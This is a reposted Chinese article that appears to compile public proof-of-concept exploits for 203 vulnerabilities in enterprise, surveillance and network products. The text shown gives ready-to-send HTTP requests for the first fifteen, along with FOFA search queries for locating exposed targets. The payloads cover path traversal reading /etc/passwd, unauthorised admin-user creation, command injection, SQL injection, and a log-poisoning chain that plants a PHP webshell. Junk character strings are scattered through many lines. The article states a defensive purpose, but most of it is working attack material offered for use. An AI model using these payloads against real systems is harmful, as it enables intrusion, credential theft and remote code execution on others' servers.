互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
0 B- K8 _) K# i以下文章来源于网络安全新视界 ，作者网络安全新视界

; B- k/ a0 U& g& {+ m- A发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

3 J: b4 D1 d, y) q* |1 }; i! ~' N$ K! T漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
. l$ `! F3 N+ e1 r. `
$ f+ l+ G6 }) a! i/ l安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
+ s: h; D; U9 ^! _4 P2 M
( I9 a. z& u, U% l6 ^文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。

  J0 ]0 V  `4 S" O
9 @5 ?% f8 n% _, s/ B9 d. }. h% r声明
$ ?& L, [4 t( Y
: b6 X, _9 P; L: k$ ]& q7 _9 ^7 G为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
6 l: p  g0 G& T4 H) I% a( a
有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。

8 S, x4 J* |# l6 @+ M5 L4 Z
/ r; n8 Y- }$ m2 `4 t
; y$ }! X" `" u目录

01

1. StarRocks MPP数据库未授权访问
! X$ }; g2 g& c% f- `! E2. Casdoor系统static任意文件读取
/ J  O9 X* L5 X1 d: L3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
5 Q& `6 K9 ]$ m1 \6 g# ~( e$ `3 C5. NUUO NVR 视频存储管理设备远程命令执行
) u) R' r2 V1 j5 z/ }3 n; C, ~6. 深信服 NGAF 任意文件读取
# ?; s( P: _4 g% {7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
3 d# M1 Z# a% Y3 r9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
0 {/ G) n9 ~/ q11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
& }1 J1 _# x/ s  K13. 红帆iOffice ioFileDown任意文件读取
$ H0 H$ ^- X# U! e* G* {- b7 a+ A  R14. 华夏ERP（jshERP）敏感信息泄露
3 V  z* o" C/ ~# ^+ j15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
: V: ?' h" v7 ?  v, c17. 大华 DSS itcBulletin SQL 注入
6 x5 ~# _5 h  Y: N5 z5 Q18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
& U$ H& A. w1 L% W9 C5 O3 c9 a19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
& @1 a$ E$ [) d! a2 z8 K/ E20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
9 w5 Z- L. P: ?22. 大华ICC智能物联综合管理平台 log4j远程代码执行
1 u; r& K% f" `5 A23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
( M9 ?$ X; W) Z24. 用友NC 6.5 accept.jsp任意文件上传
1 ?! @6 B( {3 }5 C25. 用友NC registerServlet JNDI 远程代码执行
$ ?( p) g$ L& T5 a; [5 X- n* }26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
: k+ z0 `- Y8 c1 s; s& U  |29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
. t0 A0 Y* ?7 |$ x  B31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
: \; J% O" r, }0 k. V6 r6 k33. 用友NC downTax/download SQL注入
4 X6 L" `5 N4 @* G34. 用友NC warningDetailInfo接口SQL注入
/ J. [. c, S7 \35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
* C& {1 h' D  \7 p/ |, N37. 用友NC-Cloud IUpdateService XXE
  k3 l0 Y5 ^' L5 e6 i$ j5 u38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
' |1 p, F# P# P% s40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
4 V  @) T4 P; \) d/ i% |/ [+ ]4 d42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
) t/ d1 A* F8 F  N44. 用友GRP-U8 bx_dj_check.jsp SQL注入
& B( P. T2 [2 t9 q! C- B' H45. 用友GRP-U8 ufgovbank XXE
: o8 Q! K8 I) `2 G3 U0 |/ Q46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
$ g7 R' C; ~& }1 ^& i" L48. 用友U8 CRM swfupload 任意文件上传
+ L- a: y" \9 E6 ], X4 T- K49. 用友U8 CRM系统uploadfile.php接口任意文件上传
3 m% R- G0 m8 x50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
# G, `, K3 R$ ?4 s2 g! X1 B54. 畅捷通T+ getstorewarehousebystore 远程代码执行
( ~: u- X' z. p4 M55. 畅捷通T+ getdecallusers信息泄露
: K+ u- M: c5 t2 J56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
4 J0 k* K$ ]8 ?5 M- L, N5 |  _7 T60. 百卓Smart管理平台 importexport.php SQL注入
3 |# k4 W' T' p& x' W$ X61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
* T: J/ n) W7 h& Y) w2 l62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
, t  C1 h+ J/ C6 \65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
( ^9 u; F- c+ g8 |4 r66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
! f. `8 Y; j9 ^# J3 N3 S8 U68. 万户ezOFFICE wf_printnum.jsp SQL注入
$ x* o! W. L9 s9 t3 F: T9 H+ o1 c3 f69. 万户 ezOFFICE contract_gd.jsp SQL注入
' y/ q, [3 v6 L, I  _70. 万户ezEIP success 命令执行
# Q: t0 ]/ J: x- H+ F71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
& h/ B8 A" T, ^72. 致远OA getAjaxDataServlet XXE
# e4 M: G% C$ J( s+ h: N1 \73. GeoServer wms远程代码执行
74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
6 ]" \+ M, y+ ]8 D76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
! j2 G! y! d$ r2 H) x5 Y( e. {78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
, p: w4 m) E! X, N$ h80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
2 \2 K7 Q+ J* [$ p' L81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
' x% u6 }# C! t. B# J82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
85. SysAid On-premise< 23.3.36远程代码执行
- h+ N5 B$ b% ^( V7 g) F! U0 |86. 日本tosei自助洗衣机RCE
1 U. x) x: U( N! x: Y$ j& L87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
9 J- z/ |* i8 B, Q$ i" M90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
" D4 T' O* c3 H1 ~6 R91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
5 X4 `; }% t% P$ r92. 海康威视运行管理中心session命令执行
( j7 S$ n; \/ A6 e) G93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
' N9 j, H) ~* _8 v0 o- A; D% C94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
* {5 F" t  S, O4 a: y0 H! d96. Apache OFBiz  18.12.11 groovy 远程代码执行
/ ]( I( B( R, e% u( z4 N97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
9 C. P$ r5 j9 h& H9 X2 ?9 }99. Ncast盈可视高清智能录播系统busiFacade RCE
1 I, N0 A" M3 a/ K. d100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
( C( W1 z9 Z& ]* ~& y101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
# _( w! N2 ^4 Q3 v103. Ivanti Pulse Connect Secure VPN XXE
3 ~' [5 J0 X- c* |104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
7 T* g) o' u! P8 v, A+ R5 ~7 E1 m105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
8 W) t" @* X) }' P7 S110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
6 F  B; b) [  g112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
2 _2 w, `1 `, y/ D, h8 A114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
" @4 S8 m3 v5 P5 |3 |( W$ g116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
7 L& \4 X% {3 @& g120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
4 y, v! B5 y) g9 c  s5 n) d2 Q* ^123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
$ Y' E, Q& P- x; b9 o. j: e+ }125. ConnectWise ScreenConnect身份验证绕过
* f$ C) J/ J5 p4 L126. Aiohttp 路径遍历
' h! L% ]8 G7 U2 E) X/ H127. 广联达Linkworks DataExchange.ashx XXE
128. Adobe ColdFusion 反序列化
+ ^" a) l: C: b. U5 c, [! q$ ]/ {129. Adobe ColdFusion 任意文件读取
- `$ F) H0 F2 k) W/ s0 K130. Laykefu客服系统任意文件上传
# F6 z2 }  s/ j3 W8 Y: M131. Mini-Tmall <=20231017 SQL注入
7 {: G5 a' V) u132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
) o4 _7 h: Q: k+ J5 \; M  O' E$ P134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
# `: @8 @6 H3 _+ s140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
+ C5 G% c) M4 j9 ^% N# B141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
" V9 B* q6 L) z143. Netis WF2780 v2.1.40144 远程命令执行
9 x1 o& ^: o8 x$ e1 b  J: z144. D-Link nas_sharing.cgi 命令注入
7 v& F# C6 f( V1 i, U145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
2 y0 E3 u, Y  o  P) x  i; U146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
0 ]1 S2 N. r* B& l: L148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
; ~5 e& |  t+ ?6 k. n151. AJ-Report 1.4.1 pageList sql注入
$ m; E. F: F' g% a* b  z152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
% U) E% A- B3 w) S8 X0 P3 l157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
( g* N. p' K: y2 {( p$ }" M0 V160. Sonatype Nexus Repository 3目录遍历与文件读取
% }4 b  v- t, K* B161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
9 O; z( x+ R9 s+ H165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
( v" G- H+ t) @: O% `167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
* T, g% J& F, u% t1 j- ]4 w0 f; L170. 宏景EHR DisplayExcelCustomReport 任意文件读取
1 `1 ?3 o5 Y! C9 c171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
$ K9 Z: D. Y- b. {1 u0 e174. 金和OA C6 FileDownLoad.aspx 任意文件读取
4 w& H  N% x0 K9 T175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
! D# }) s: D2 l, K* q+ u+ {* [: j180. 帮管客 CRM jiliyu SQL注入
8 t9 m: {  x; l+ ^181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
7 e8 C) z# y1 h$ n4 E6 l182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
( S# e0 \* T( a  \) k" v. O185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
. c6 b4 X7 \4 g  V187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
5 f4 T; [4 e8 v- W: @189. 蓝网科技临床浏览系统 deleteStudy SQL注入
9 Q2 S; Z; o$ `$ `2 h190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
' b/ v5 ]  B5 X6 J199. cockpit系统assetsmanager_upload接口 文件上传
200. SeaCMS海洋影视管理系统dmku SQL注入
/ P0 T: i3 u8 F# c& V% x" z5 R201. 方正全媒体新闻采编系统 binary SQL注入
* F: ~- I. o9 D1 g! r202. 微擎系统 AccountEdit任意文件上传
& x5 l3 i1 H9 x+ S! p/ x203. 红海云EHR PtFjk 文件上传
' L. D7 ]) @3 @8 G
9 y3 l, c/ F% _" b- f; WPOC列表
; v& O) H# `* U: K% ^! S. M$ O. f
02
/ S3 n  {7 n) m, h( L7 ~
1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
$ Y, ^! l. ]$ F$ T$ _+ GHost: URL
3 s) F1 O7 t4 U3 A. Q6 X
  w2 Q  L, Y4 K9 o  p4 p
2. Casdoor系统static任意文件读取
4 B/ u# N/ J3 hFOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
* K( S) a5 ~/ D  _  l5 DHost: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
7 M' t# M" f4 N1 T4 _Accept-Encoding: gzip

8 u; M& V5 F# [8 a6 g0 J
3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
7 B- r' S2 B- b4 B5 U  `4 OHost: xx.xx.xx.xx


2 {* a. C4 i2 M+ {9 P4. EasyCVR视频管理平台存在任意用户添加
/ B/ z! p  Q7 v2 y0 GFOFA ：title="EasyCVR"
& x! j0 L7 r$ X( a( ^( s
password更改为自己的密码md5
1 F: H3 Z+ u1 n9 F0 Y' PPOST /api/v1/adduser HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
5 l& ]8 z: Y3 J  ?* s  {5 i
name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
4 L$ j: b; Z9 A0 `. f

5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
- a0 E! S& [- K% s, Y/ w; qGET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
5 A" k, u! E# l  _# U* |: _$ SHost: xx.xx.xx.xx


8 N  H. P: U# P- S' z8 J6. 深信服 NGAF 任意文件读取
5 L" Z" a  N5 D' Y9 r6 qFOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:
2 A  c8 m- v% `" s- G
* n4 I- n! X* R4 D4 U+ F
! x: u, F7 B  f. _9 i7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
, \- u- R% o0 d7 E+ G; p5 v3 V* wGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:
, d9 G7 N7 {- M- _1 W: c
) E  W/ ]- P8 J" O9 Q& O
8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
+ r& d; H' {/ S- THost: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

------WebKitFormBoundaryxbgjoytz
( h5 Z" h& e8 k9 `Content-Disposition: form-data; name="wifiRebootEnablestatus"
% `" l: N2 }1 v+ S$ o
) ^, n/ w& O4 v2 V%s
8 _9 Y  M& F# d2 U+ F$ X- e6 O------WebKitFormBoundaryxbgjoytz
( y' L. b) S. N* V9 [- y; y3 TContent-Disposition: form-data; name="wifiRebootrange"
/ b& t2 ]7 ~: |; \" k
12:00; id;
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"
/ q( o# n0 u8 I3 j; e+ V3 x
: V7 S) {4 C9 a9 d& n: J, r! c%s:
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="cururl2"


------WebKitFormBoundaryxbgjoytz--

) D( L, v3 T. o& ~0 ?
% p  H% W3 N; r! G0 G; @9. 稻壳CMS keyword 未授权SQL注入
7 O% N( N, b5 G, C1 c8 i4 w% GFOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
7 ?' ~, z( W' p7 ^8 r, B% ^Host: x.x.x.x

1 p6 G( H$ F+ t7 Z3 g" R5 `4 `: {
9 t) ]. K8 c& r) N. Spayload为下列语句的二次Url编码
& ~& o0 u% y3 v! m1 i. l; u
+ k% [2 K  B1 }) p6 s+ ~' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

; q0 k+ O/ \* k  ]% [10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
FOFA：icon_hash="953405444"
0 @6 I2 }! A2 H' q. q( ]
' x: d3 U4 S. V, k3 N文件上传后响应中包含上传文件的路径
- g( R0 B! D$ C9 c. ]POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  `8 G$ x$ ~5 _Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
/ h# J1 p/ A  {6 i' ]" U; U  m& _
3 ^$ g5 r: N7 _2 O- a- k2 K------WebKitFormBoundaryxdgaqmqu
+ v/ N+ Z" y' D. w& n0 B2 L0 TContent-Disposition: form-data; name="file"filename="icfitnya.txt"
& c' W( q% ^7 @; A6 s7 oContent-Type: text/html
1 o% I3 a* a' t" V/ \" y. O0 M8 n
. Q( M. D/ G' ~; Fjmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--


11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
8 N! p6 T1 f( H: S* cFOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
! [3 c. f9 }0 a0 {GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
& K2 I  H! g, @4 I# e' L: gHost: 127.0.0.1
7 h% _) K8 V! a/ U7 M# YPragma: no-cache
0 P- w3 u, Q  CCache-Control: no-cache
Upgrade-Insecure-Requests: 1
* O: q3 b4 X+ kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
6 U/ i$ n# i6 F3 R) z- R, r9 @Connection: close
' k* T8 l) H% l' @( b

2 \" ]& I4 T( b) v12. Jorani < 1.0.2 远程命令执行
4 K! x: V$ }% GFOFA：title="Jorani"
, C9 D9 o0 _0 O6 @" t% |第一步先拿到cookie
GET /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
8 K. p; O5 P$ ]Connection: close
" X# Z3 r5 B; M. q2 X, @( r4 iAccept-Encoding: gzip
6 F8 D" p8 Z- l% y

: I/ p8 ]9 E7 g; L2 {. b/ {( d响应中csrf_cookie_jorani用于后续请求
' }; l$ ?1 D7 |0 \" L+ N+ w7 e) ]HTTP/1.1 200 OK
Connection: close
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
6 z7 l! y8 A' y) y5 U5 r2 QDate: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
1 Y- A5 K& F% [1 L: sPragma: no-cache
Server: Apache/2.4.54 (Debian)
. @$ K5 d' c# L( _( U3 qSet-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
9 o/ j: E- B; \2 G( ~' |Vary: Accept-Encoding
( w! H: y1 U! {& E9 M% d
1 u; P5 W+ Y  m1 T
POST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
  `# y" }( D) C* u9 R, fHost: 192.168.190.30
" H- P) r. _1 W; X- MUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
- _; p& Y% x$ G3 GContent-Length: 252
Content-Type: application/x-www-form-urlencoded
( z0 f4 N/ R- ~7 A. {Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
1 i$ w% X# w8 |2 W" w# k# C, mAccept-Encoding: gzip
1 [( F+ Z( Z) k# B  Z1 @! E. _3 q
+ R6 O2 _9 w4 ?  a" ?6 ?- Scsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor


5 s+ j! A. Y) \* \1 N+ O
2 N% L: u0 e' h. U% w3 X向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
: _8 D& r! @0 c  NHost: 192.168.190.30
# ^* J- x, L# W5 R/ AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
9 j" B$ k1 x# ]! l; m0 |% RCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
6 X$ x7 h  }5 \- LK1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
" Q/ a1 u" b0 W* m' ~( CX-REQUESTED-WITH: XMLHttpRequest
# _& a8 g+ Z+ C4 DAccept-Encoding: gzip
5 D7 v6 G& ?2 u" g4 ]

13. 红帆iOffice ioFileDown任意文件读取
1 H. S: |- Z& D% O1 U" uFOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
( o" P( W+ p) J% T" {, {Accept: */*
( o( q5 k* n/ b) i/ f* aAccept-Encoding: gzip
# M3 X1 u3 M) b) M; N( f/ r

5 L# q) D* x7 C4 s5 Y14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
; i6 d, f. U% [) I" Z, E$ o泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
/ Z' T" Q7 ^2 t0 e8 c4 uHost: x.x.x.x
- J+ Q: {/ l) A* P  S5 DUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
- u+ X1 `4 ~( x: U. _8 [# k

15. 华夏ERP getAllList信息泄露
! G: P1 \7 D2 o% I, a3 ?CVE-2024-0490
, H, g- h. r9 |1 M1 cFOFA：body="jshERP-boot"
, \$ n* ]4 Q2 q' C$ P) f泄露内容包括用户名密码
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
Host: 192.168.40.130:100
( R# N  S& G. v8 oUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
